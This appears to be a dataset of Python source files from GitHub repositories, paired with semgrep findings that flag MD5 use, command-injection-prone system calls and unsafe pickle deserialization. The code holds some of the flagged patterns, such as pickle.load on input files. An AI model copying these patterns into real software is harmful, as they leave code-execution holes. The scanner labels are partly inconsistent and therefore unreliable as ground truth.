"rules.python.lang.security.insecure-hash-algorithm-md5", "path": "/tmp/tmpr7mo7ysm/8212399854be3a11.py", "start": {"line": 97, "col": 13, "offset": 3704}, "end": {"line": 97, "col": 26, "offset": 3717}, "extra": {"message": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.", "metadata": {"source-rule-url": "https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/blacklists/calls.py#L59", "cwe": ["CWE-327: Use of a Broken or Risky Cryptographic Algorithm"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A02:2021 - Cryptographic Failures", "A04:2025 - Cryptographic Failures"], "bandit-code": "B303", "asvs": {"control_id": "6.2.2 Insecure Custom Algorithm", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x14-V6-Cryptography.md#v62-algorithms", "section": "V6 Stored Cryptography Verification Requirements", "version": "4"}, "references": ["https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html", "https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability", "http://2012.sharcs.org/slides/stevens.pdf", "https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html"], "category": "security", "technology": ["python"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_8212399854be3a11_dc438d2a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 110, "line_end": 110, "column_start": 13, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpr7mo7ysm/8212399854be3a11.py", "start": {"line": 110, "col": 13, "offset": 4160}, "end": {"line": 110, "col": 26, "offset": 4173}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_8212399854be3a11_f830e0d4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 119, "line_end": 120, "column_start": 24, "column_end": 101, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpr7mo7ysm/8212399854be3a11.py", "start": {"line": 119, "col": 24, "offset": 4608}, "end": {"line": 120, "col": 101, "offset": 4718}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_8212399854be3a11_b1ef6b4a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 124, "line_end": 124, "column_start": 13, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpr7mo7ysm/8212399854be3a11.py", "start": {"line": 124, "col": 13, "offset": 4843}, "end": {"line": 124, "col": 26, "offset": 4856}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_8212399854be3a11_35162eb5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 149, "line_end": 149, "column_start": 5, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpr7mo7ysm/8212399854be3a11.py", "start": {"line": 149, "col": 5, "offset": 5713}, "end": {"line": 149, "col": 38, "offset": 5746}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 13 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-audit"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
119,
149
] | [
120,
149
] | [
24,
5
] | [
101,
38
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found dynamic conte... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | utils.py | /examples/trials/network_morphism/imagenet/utils.py | shijun18/AIPerf | MIT | |
2024-11-18T20:19:00.297420+00:00 | 1,563,039,746,000 | 308ccd2a350ed1fe47f5d30767d863c589796043 | 2 | {
"blob_id": "308ccd2a350ed1fe47f5d30767d863c589796043",
"branch_name": "refs/heads/master",
"committer_date": 1563039746000,
"content_id": "5e8e03549f2aac7a67821527a314b2299c859f67",
"detected_licenses": [
"MIT"
],
"directory_id": "cfe6deb2030148f319ad9ae5e5623cc0a7b86f3f",
"extension": "py",
"filename": "tag_count_graphs_allregions.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3535,
"license": "MIT",
"license_type": "permissive",
"path": "/scripts/tag_count_graphs_allregions.py",
"provenance": "stack-edu-0054.json.gz:578481",
"repo_name": "1383385/MASQ",
"revision_date": 1563039746000,
"revision_id": "a2145d4449a712d8b53ba5ebfaf34c34aeb90df8",
"snapshot_id": "7942c53331bde7d695ef19cd109936245329f2de",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/1383385/MASQ/a2145d4449a712d8b53ba5ebfaf34c34aeb90df8/scripts/tag_count_graphs_allregions.py",
"visit_date": "2022-01-28T07:13:04.787304"
} | 2.390625 | stackv2 | '''
For all regions, plot number of reads per tag/template
'''
import os
import numpy as np
import gzip
from collections import Counter, defaultdict
import fileinput
import operator
import pickle
import time
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
from matplotlib.pyplot import cm
from masq_helper_functions import tabprint
from masq_helper_functions import plot_number_of_reads_per_tag
from masq_helper_functions import plot_at_least_x_reads_per_tag
########################################################################
# Start timer
t0_all = time.time()
########################################################################
# Redirect prints to log file
old_stdout = sys.stdout
log_file = open(str(snakemake.log),"w")
sys.stdout = log_file
sys.stderr = log_file
########################################################################
# Filenames and parameters
vt_counter_filenames = snakemake.input.vt_counters
NREG = len(vt_counter_filenames)
# Sample name
sample = snakemake.params.sample
# Output report file
outfilename = snakemake.output.tagcounts
outfile = open(outfilename,"w")
########################################################################
# Load sequence data
t0 = time.time()
print("loading sequence data...")
vt_counters=[]
vt_counters = [Counter() for _ in range(NREG)]
for r in range(NREG):
vt_counters[r]=pickle.load(open(vt_counter_filenames[r], 'rb'))
print("data loaded in %0.2f seconds" % (time.time() - t0))
########################################################################
# tabulate distribution of reads per tag
reads_per_tag = Counter()
Nreads_total = 0
Ntags_total = 0
for r in range(NREG):
vt_counter = vt_counters[r]
Ntags = len(vt_counter)
Ntags_total += Ntags
for tag, tag_count in vt_counter.items():
reads_per_tag[tag_count]+=1
Nreads_total += tag_count
numreads=np.array(list(reads_per_tag.keys()))
numtags=np.array(list(reads_per_tag.values()))
########################################################################
# Plot reads per tag
plot_number_of_reads_per_tag(
numreads,
numtags,
Nreads_total,
Ntags_total,
sample=sample,
filename=snakemake.output.plot1,
logscale=True)
plot_at_least_x_reads_per_tag(
numreads,
numtags,
Nreads_total,
Ntags_total,
sample=sample,
filename=snakemake.output.plot2,
logscale=True,
maxcount=100)
########################################################################
# Write bar graph counts out to file
header = ["Region","Reads Per Tag","Number of Tags"]
outfile.write(tabprint(header)+"\n")
for i in range(len(numreads)):
outfile.write(tabprint(["Combined",numreads[i],numtags[i]])+"\n")
########################################################################
# End timer
t1 = time.time()
td = (t1 - t0) / 60
print("done in %0.2f minutes" % td)
########################################################################
# Put standard out back...
sys.stdout = old_stdout
log_file.close()
########################################################################
| 117 | 29.21 | 72 | 12 | 645 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_b55a1beafff88aed_3b552f00", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 12, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpr7mo7ysm/b55a1beafff88aed.py", "start": {"line": 31, "col": 12, "offset": 735}, "end": {"line": 31, "col": 40, "offset": 763}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_b55a1beafff88aed_08edb53f", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 46, "line_end": 46, "column_start": 1, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmpr7mo7ysm/b55a1beafff88aed.py", "start": {"line": 46, "col": 1, "offset": 1105}, "end": {"line": 46, "col": 32, "offset": 1136}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_b55a1beafff88aed_ab3dda39", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 46, "line_end": 46, "column_start": 11, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpr7mo7ysm/b55a1beafff88aed.py", "start": {"line": 46, "col": 11, "offset": 1115}, "end": {"line": 46, "col": 32, "offset": 1136}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_b55a1beafff88aed_1c5ff8f8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 55, "line_end": 55, "column_start": 20, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/b55a1beafff88aed.py", "start": {"line": 55, "col": 20, "offset": 1386}, "end": {"line": 55, "col": 68, "offset": 1434}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
55
] | [
55
] | [
20
] | [
68
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | tag_count_graphs_allregions.py | /scripts/tag_count_graphs_allregions.py | 1383385/MASQ | MIT | |
2024-11-18T20:29:34.755566+00:00 | 1,634,942,646,000 | b6fb7bbb1e0fa6933fe1f38159187d5d8479592d | 3 | {
"blob_id": "b6fb7bbb1e0fa6933fe1f38159187d5d8479592d",
"branch_name": "refs/heads/master",
"committer_date": 1634942646000,
"content_id": "9d1a88e42eea1094ddcbb3f95514bab0c1c2189a",
"detected_licenses": [
"MIT"
],
"directory_id": "b6cfb794d1ac757c0e14b388d7d0ec1a5fc8e204",
"extension": "py",
"filename": "data_iterator.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2825,
"license": "MIT",
"license_type": "permissive",
"path": "/data_iterator.py",
"provenance": "stack-edu-0054.json.gz:578519",
"repo_name": "harish-143/Project_DML",
"revision_date": 1634942646000,
"revision_id": "a0a7d8e00b76f4cf265b7db95b6637eef68b02b0",
"snapshot_id": "c6c598c6771227d6754712061553205671d20314",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/harish-143/Project_DML/a0a7d8e00b76f4cf265b7db95b6637eef68b02b0/data_iterator.py",
"visit_date": "2023-09-04T10:47:56.752456"
} | 2.921875 | stackv2 | '''
Python 3.6
Pytorch >= 0.4
Written by Hongyu Wang in Beihang university
'''
import numpy
import pickle as pkl
import sys
import torch
def dataIterator(feature_file,label_file,dictionary,batch_size,batch_Imagesize,maxlen,maxImagesize):
fp=open(feature_file,'rb')
features=pkl.load(fp)
fp.close()
fp2=open(label_file,'r')
labels=fp2.readlines()
fp2.close()
len_label = len(labels)
targets={}
# map word to int with dictionary
for l in labels:
tmp=l.strip().split()
if tmp == []:
break
else:
uid=tmp[0]
w_list=[]
for w in tmp[1:]:
if w in dictionary:
w_list.append(dictionary[w])
else:
print('a word not in the dictionary !! sentence ',uid,'word ', w)
sys.exit()
targets[uid]=w_list
imageSize={}
imagehigh={}
imagewidth={}
for uid,fea in features.items():
imageSize[uid]=fea.shape[1]*fea.shape[2]
imagehigh[uid]=fea.shape[1]
imagewidth[uid]=fea.shape[2]
imageSize= sorted(imageSize.items(), key=lambda d:d[1],reverse=True) # sorted by sentence length, return a list with each triple element
feature_batch=[]
label_batch=[]
feature_total=[]
label_total=[]
uidList=[]
batch_image_size=0
biggest_image_size=0
i=0
for uid,size in imageSize:
if size>biggest_image_size:
biggest_image_size=size
fea=features[uid]
lab=targets[uid]
batch_image_size=biggest_image_size*(i+1)
if len(lab)>maxlen:
continue
# print('sentence', uid, 'length bigger than', maxlen, 'ignore')
elif size>maxImagesize:
continue
# print('image', uid, 'size bigger than', maxImagesize, 'ignore')
else:
uidList.append(uid)
if batch_image_size>batch_Imagesize or i==batch_size: # a batch is full
if label_batch:
feature_total.append(feature_batch)
label_total.append(label_batch)
i=0
biggest_image_size=size
feature_batch=[]
label_batch=[]
feature_batch.append(fea)
label_batch.append(lab)
batch_image_size=biggest_image_size*(i+1)
i+=1
else:
feature_batch.append(fea)
label_batch.append(lab)
i+=1
# last
feature_total.append(feature_batch)
label_total.append(label_batch)
len_ignore = len_label - len(feature_total)
print('total ',len(feature_total), 'batch data loaded')
print('ignore',len_ignore,'images')
return feature_total,label_total
| 106 | 25.65 | 141 | 18 | 640 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a5d0e6b9e8e3b1eb_80cea7fb", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 14, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/a5d0e6b9e8e3b1eb.py", "start": {"line": 15, "col": 14, "offset": 290}, "end": {"line": 15, "col": 26, "offset": 302}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_a5d0e6b9e8e3b1eb_8b91c20d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 9, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpr7mo7ysm/a5d0e6b9e8e3b1eb.py", "start": {"line": 18, "col": 9, "offset": 327}, "end": {"line": 18, "col": 29, "offset": 347}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
15
] | [
15
] | [
14
] | [
26
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | data_iterator.py | /data_iterator.py | harish-143/Project_DML | MIT | |
2024-11-18T20:29:45.813351+00:00 | 1,689,611,089,000 | 0a920582891c780a65666f1c16baaf3b7a83cc1b | 2 | {
"blob_id": "0a920582891c780a65666f1c16baaf3b7a83cc1b",
"branch_name": "refs/heads/master",
"committer_date": 1689611089000,
"content_id": "a897f49f9289e539569dcab6d4efb8933a16fded",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "b681dc77226c3d126cfebe241c11225baa5f4985",
"extension": "py",
"filename": "persistent.py",
"fork_events_count": 15,
"gha_created_at": 1579719792000,
"gha_event_created_at": 1692072145000,
"gha_language": "Python",
"gha_license_id": "NOASSERTION",
"github_id": 235644436,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 11032,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/brickschema/persistent.py",
"provenance": "stack-edu-0054.json.gz:578604",
"repo_name": "BrickSchema/py-brickschema",
"revision_date": 1689611089000,
"revision_id": "ecac3dd8114dce7eebe588b760b22fbc64c0c4ee",
"snapshot_id": "53e159101447dc214209005d1c93565bf37cfe18",
"src_encoding": "UTF-8",
"star_events_count": 49,
"url": "https://raw.githubusercontent.com/BrickSchema/py-brickschema/ecac3dd8114dce7eebe588b760b22fbc64c0c4ee/brickschema/persistent.py",
"visit_date": "2023-08-19T04:39:46.216950"
} | 2.3125 | stackv2 | from datetime import datetime
import logging
from collections import OrderedDict
import uuid
import time
from contextlib import contextmanager
from rdflib import ConjunctiveGraph
from rdflib.graph import BatchAddGraph
from rdflib import plugin
from rdflib.store import Store
from rdflib_sqlalchemy import registerplugins
import pickle
from .graph import Graph, BrickBase
registerplugins()
logger = logging.getLogger(__name__)
changeset_table_defn = """CREATE TABLE IF NOT EXISTS changesets (
id TEXT,
timestamp TIMESTAMP NOT NULL,
graph TEXT NOT NULL,
is_insertion BOOLEAN NOT NULL,
triple BLOB NOT NULL
);"""
changeset_table_idx = """CREATE INDEX IF NOT EXISTS changesets_idx
ON changesets (graph, timestamp);"""
redo_table_defn = """CREATE TABLE IF NOT EXISTS redos (
id TEXT,
timestamp TIMESTAMP NOT NULL,
graph TEXT NOT NULL,
is_insertion BOOLEAN NOT NULL,
triple BLOB NOT NULL
);"""
_remove_params = ["_delay_init", "brick_version", "load_brick", "load_brick_nightly"]
class PersistentGraph(Graph):
def __init__(self, uri: str, *args, **kwargs):
store = plugin.get("SQLAlchemy", Store)(
identifier="brickschema_persistent_graph"
)
kwargs.update({"_delay_init": True})
super().__init__(store, *args, **kwargs)
kwargs.update({"create": True})
for k in _remove_params:
kwargs.pop(k, None)
super().open(uri, **kwargs)
self.uri = uri
super()._graph_init()
class Changeset(Graph):
def __init__(self, graph_name):
super().__init__()
self.name = graph_name
self.uid = uuid.uuid4()
self.additions = []
self.deletions = []
def add(self, triple):
"""
Add a triple to the changeset
"""
self.additions.append(triple)
super().add(triple)
def load_file(self, filename):
g = Graph()
g.parse(filename, format="turtle")
self.additions.extend(g.triples((None, None, None)))
self += g
# propagate namespaces
for pfx, ns in g.namespace_manager.namespaces():
self.bind(pfx, ns)
def remove(self, triple):
self.deletions.append(triple)
super().remove(triple)
class VersionedGraphCollection(ConjunctiveGraph, BrickBase):
def __init__(self, uri: str, *args, **kwargs):
"""
To create an in-memory store, use uri="sqlite://"
"""
store = plugin.get("SQLAlchemy", Store)(identifier="my_store")
super().__init__(store, *args, **kwargs)
self.open(uri, create=True)
self._precommit_hooks = OrderedDict()
self._postcommit_hooks = OrderedDict()
with self.conn() as conn:
conn.execute("PRAGMA journal_mode=WAL;")
# conn.execute("PRAGMA synchronous=OFF;")
conn.execute(changeset_table_defn)
conn.execute(changeset_table_idx)
conn.execute(redo_table_defn)
@property
def latest_version(self):
